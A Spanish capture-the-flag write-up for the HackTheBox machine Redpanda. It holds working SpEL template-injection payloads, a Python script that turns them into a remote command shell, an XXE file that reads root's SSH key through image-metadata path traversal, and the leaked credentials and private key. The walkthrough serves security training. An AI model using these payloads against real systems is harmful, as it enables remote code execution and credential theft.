Redpanda es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Redpanda 10.10.11.170 a /etc/hosts como redpanda.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 |
$ nmap -sV -sC -oA enumeration/nmap1 10.10.11.170 Nmap scan report for 10.10.11.170 Host is up (0.041s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 8080/tcp open http-proxy | fingerprint-strings: | GetRequest: | HTTP/1.1 200 | Content-Type: text/html;charset=UTF-8 | Content-Language: en-US | Date: Wed, 27 Jul 2022 14:27:10 GMT | Connection: close | <!DOCTYPE html> | <html lang="en" dir="ltr"> | <head> | <meta charset="utf-8"> | <meta author="wooden_k"> | <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw --> | <link rel="stylesheet" href="css/panda.css" type="text/css"> | <link rel="stylesheet" href="css/main.css" type="text/css"> | <title>Red Panda Search | Made with Spring Boot</title> | </head> | <body> | <div class='pande'> | <div class='ear left'></div> | <div class='ear right'></div> | <div class='whiskers left'> | <span></span> | <span></span> | <span></span> | </div> | <div class='whiskers right'> | <span></span> | <span></span> | <span></span> | </div> | <div class='face'> | <div class='eye | HTTPOptions: | HTTP/1.1 200 | Allow: GET,HEAD,OPTIONS | Content-Length: 0 | Date: Wed, 27 Jul 2022 14:27:10 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 435 | Date: Wed, 27 Jul 2022 14:27:10 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 400 | Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 |_ Request</h1></body></html> |_http-title: Red Panda Search | Made with Spring Boot 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.92%I=7%D=7/27%Time=62E14B3D%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;charse SF:t=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Wed,\x2027\x20Jul\x20 SF:2022\x2014:27:10\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm SF:l>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20\ SF:x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woode SF:n_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codepe SF:n\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesh SF:eet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x2 SF:0<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/c SF:ss\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20w SF:ith\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20\ SF:x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20clas SF:s='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x20r SF:ight'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left'> SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\x SF:20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x SF:20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</ SF:div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20\x SF:20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200\x SF:20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20We SF:d,\x2027\x20Jul\x202022\x2014:27:10\x20GMT\r\nConnection:\x20close\r\n\ SF:r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/ SF:html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435 SF:\r\nDate:\x20Wed,\x2027\x20Jul\x202022\x2014:27:10\x20GMT\r\nConnection SF::\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>H SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x2 SF:0type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1 SF:,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x SF:20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px SF:;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heigh SF:t:1px;background-color:#525D76;border:none;}</style></head><body><h1>HT SF:TP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html SF:>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
No hay muchos puertos abiertos en este caso, así que vamos directamente al portal web en el puerto 8080.
Enumeración
Accedemos al portal web en el puerto 8080, suponemos que será un tomcat o similar, y vemos la siguiente página
Tan sólo vemos un simple campo de texto de búsqueda, así que probamos varias cosas y descubrimos que el mismo es vulnerable a SSTI. Inyectamos el payload ${4*4} para verificar la vulnerabilidad
Y nos devuelve el valor 16, demostrando que es vulnerable a SSTI así que hacemos alguna prueba más obteniendo las variables de entorno que utiliza la aplicación con el siguiente payload
1 |
*{T(java.lang.System).getenv()} |
Y observamos como nos devuelve las variables
Hacemos alguna prueba más, pero para obtener un fichero no nos vale con el método tradicional sino que se debe codificar cada valor en su posición en la tabla ascii, así que probamos y obtenemos el fichero /etc/passwd con el siguiente payload
1 |
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} |
Visto como poder explotar esta vulnerabilidad creamos un simple script en python que nos permita realizar el ataque de una forma más sencilla y nuestro script es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
import requests from cmd import Cmd from bs4 import BeautifulSoup class exploit(Cmd): prompt = "\033[1;31m$\033[1;37m " def default(self, args): try: self.converter(args) except: print("%s command not found" %(args)) def converter(self, args): dec = [] for command in args: dec.append(str(ord(command))) # get payload from # https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % dec[0] for val in dec[1:]: payload += ".concat(T(java.lang.Character).toString({}))".format(val) payload += ").getInputStream())}" r = requests.post("http://redpanda.htb:8080/search", data={"name":payload}) parse = BeautifulSoup(r.content, 'html.parser') findh2 = parse.find_all("h2")[0].get_text() result = findh2.replace('You searched for:', '').strip() print(result) # call cmdloop method to avoid close execution exploit().cmdloop() |
Una vez hecho ejecutamos nuestro script para verificar que tenemos acceso
1 2 3 4 |
$ id uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk) $ whoami woodenk |
Buscamos un poco por la máquina y encontramos la password del usuario woodenk en el fichero de conexión de base de datos de la aplicación
1 2 3 4 5 6 |
$ grep -rin connection /opt/panda_search Binary file /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar matches Binary file /opt/panda_search/target/classes/com/panda_search/htb/panda_search/SqlController.class matches Binary file /opt/panda_search/target/classes/com/panda_search/htb/panda_search/MainController.class matches /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java:101: Connection conn = null; /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java:106: conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule"); |
Obteniendo la flag de user
Con la password del usuario, accedemos por ssh y conseguimos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ssh woodenk@redpanda.htb The authenticity of host 'redpanda.htb (10.10.11.170)' can't be established. ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'redpanda.htb' (ED25519) to the list of known hosts. woodenk@redpanda.htb's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 27 Jul 2022 02:56:52 PM UTC System load: 0.17 Usage of /: 78.9% of 4.30GB Memory usage: 37% Swap usage: 0% Processes: 213 Users logged in: 0 IPv4 address for eth0: 10.10.11.170 IPv6 address for eth0: dead:beef::250:56ff:feb9:1c67 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Jul 5 05:51:25 2022 from 10.10.14.23 woodenk@redpanda:~$ id uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk) woodenk@redpanda:~$ woodenk@redpanda:~$ cat user.txt c776556b76504e28ce84484e030afa4c woodenk@redpanda:~$ |
Escalado de privilegios
El siguiente paso será escalar a root y para eso enumeramos el sistema y vemos los procesos que se ejecutan en la máquina con pspy y vemos uno muy interesante
El usuario root ejecuta el script /opt/cleanup con el usuario woodenk, y si revisamos el mismo tiene el siguiente contenido
1 2 3 4 5 6 7 8 9 |
#!/bin/bash /usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \; /usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \; /usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \; /usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \; /usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \; /usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \; /usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \; /usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \; |
El script hace una limpieza de fichero xml y jpg en diferentes rutas del sistema pero no entendemos muy bien el porqué de esta tarea periódica así que vamos a analizar el código de la aplicación para buscarle una explicación.
Revisamos el fichero donde encontramos las credenciales
1 |
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java |
Y encontramos el método utilizado para la exportación de los ficheros xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException { System.out.println("Exporting xml of: " + author); if(author.equals("woodenk") || author.equals("damian")) { InputStream in = new FileInputStream("/credits/" + author + "_creds.xml"); System.out.println(in); return IOUtils.toByteArray(in); } else { return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r"); } } |
Vemos que el autor debe de ser woodenk o damian y que el fichero xml que solicita se debe de encontrar en la ruta
1 |
/credits/ + Autor + _creds.xml |
aunque posiblemente podamos bypasear la ruta a nuestro antojo.
Siguiendo con la revisión encontramos también el método utilizado para leer los metadatos en el fichero /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
public static String getArtist(String uri) throws IOException, JpegProcessingException { String fullpath = "/opt/panda_search/src/main/resources/static" + uri; File jpgFile = new File(fullpath); Metadata metadata = JpegMetadataReader.readMetadata(jpgFile); for(Directory dir : metadata.getDirectories()) { for(Tag tag : dir.getTags()) { if(tag.getTagName() == "Artist") { return tag.getDescription(); } } } return "N/A"; } |
Así que necesitaremos meter nuestra ruta en el metadato Artist de la imagen jpg que utilicemos
Y por último, en el mismo fichero, encontramos como utiliza el useragent
1 2 3 4 5 6 7 8 9 10 11 |
public static Map parseLog(String line) { String[] strings = line.split("\\|\\|"); Map map = new HashMap<>(); map.put("status_code", Integer.parseInt(strings[0])); map.put("ip", strings[1]); map.put("user_agent", strings[2]); map.put("uri", strings[3]); return map; } |
Con todos estos datos en mano vamos a llevar el ataque de la siguiente forma
- Obtenemos nuestra imagen jpg
- Añadimos el metadato de Artist
- Generamos un fichero xml con nuestro ataque xxe
- Lanzamos un curl modificando el useragent para que coja nuestra imagen
- Revisamos las estadísticas del portal para forzar los cambios
Así que vamos a ello, en primer lugar, y disponiendo de una imagen jpg añadimos un valor al metadato Artist
1 2 |
$ exiftool -Artist="../home/woodenk/" redpanda.jpg 1 image files updated |
Generamos el fichero xml donde intentaremos obtener la clave ssh del usuario root
1 2 3 4 5 6 7 8 9 10 11 12 |
cat _creds.xml <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]> <credits> <author>damian</author> <image> <uri>/../../../../../../../home/woodenk/redpanda.jpg</uri> <test>&ent;</test> <views>0</views> </image> <totalviews>0</totalviews> </credits> |
Subiremos los ficheros a la máquina y lanzaremos curl para realizar la petición de lectura de la imagen
1 |
$ curl http://redpanda.htb:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/redpanda.jpg" |
Y por último accedemos al portal web en la uri de /stats y exportamos los datos
Completada esta parte, si esperamos unos segundos y volvemos a nuestro fichero xml tendremos la clave de root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
woodenk@redpanda:~$ cat _creds.xml <?xml version="1.0" encoding="UTF-8"?> <!--?xml version="1.0" ?--> <!DOCTYPE replace> <credits> <author>damian</author> <image> <uri>/../../../../../../../home/woodenk/redpanda.jpg</uri> <hello>-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29 ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE= -----END OPENSSH PRIVATE KEY-----</hello> <views>2</views> </image> <totalviews>2</totalviews> </credits> |
Obteniendo la flag de root
Con la clave sólo nos queda acceder por ssh y obtener nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ ssh -i root.pem root@redpanda.htb Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 27 Jul 2022 03:35:27 PM UTC System load: 0.02 Usage of /: 80.9% of 4.30GB Memory usage: 47% Swap usage: 0% Processes: 217 Users logged in: 1 IPv4 address for eth0: 10.10.11.170 IPv6 address for eth0: dead:beef::250:56ff:feb9:1c67 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Jun 30 13:17:41 2022 root@redpanda:~# id uid=0(root) gid=0(root) groups=0(root) root@redpanda:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 root@redpanda:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace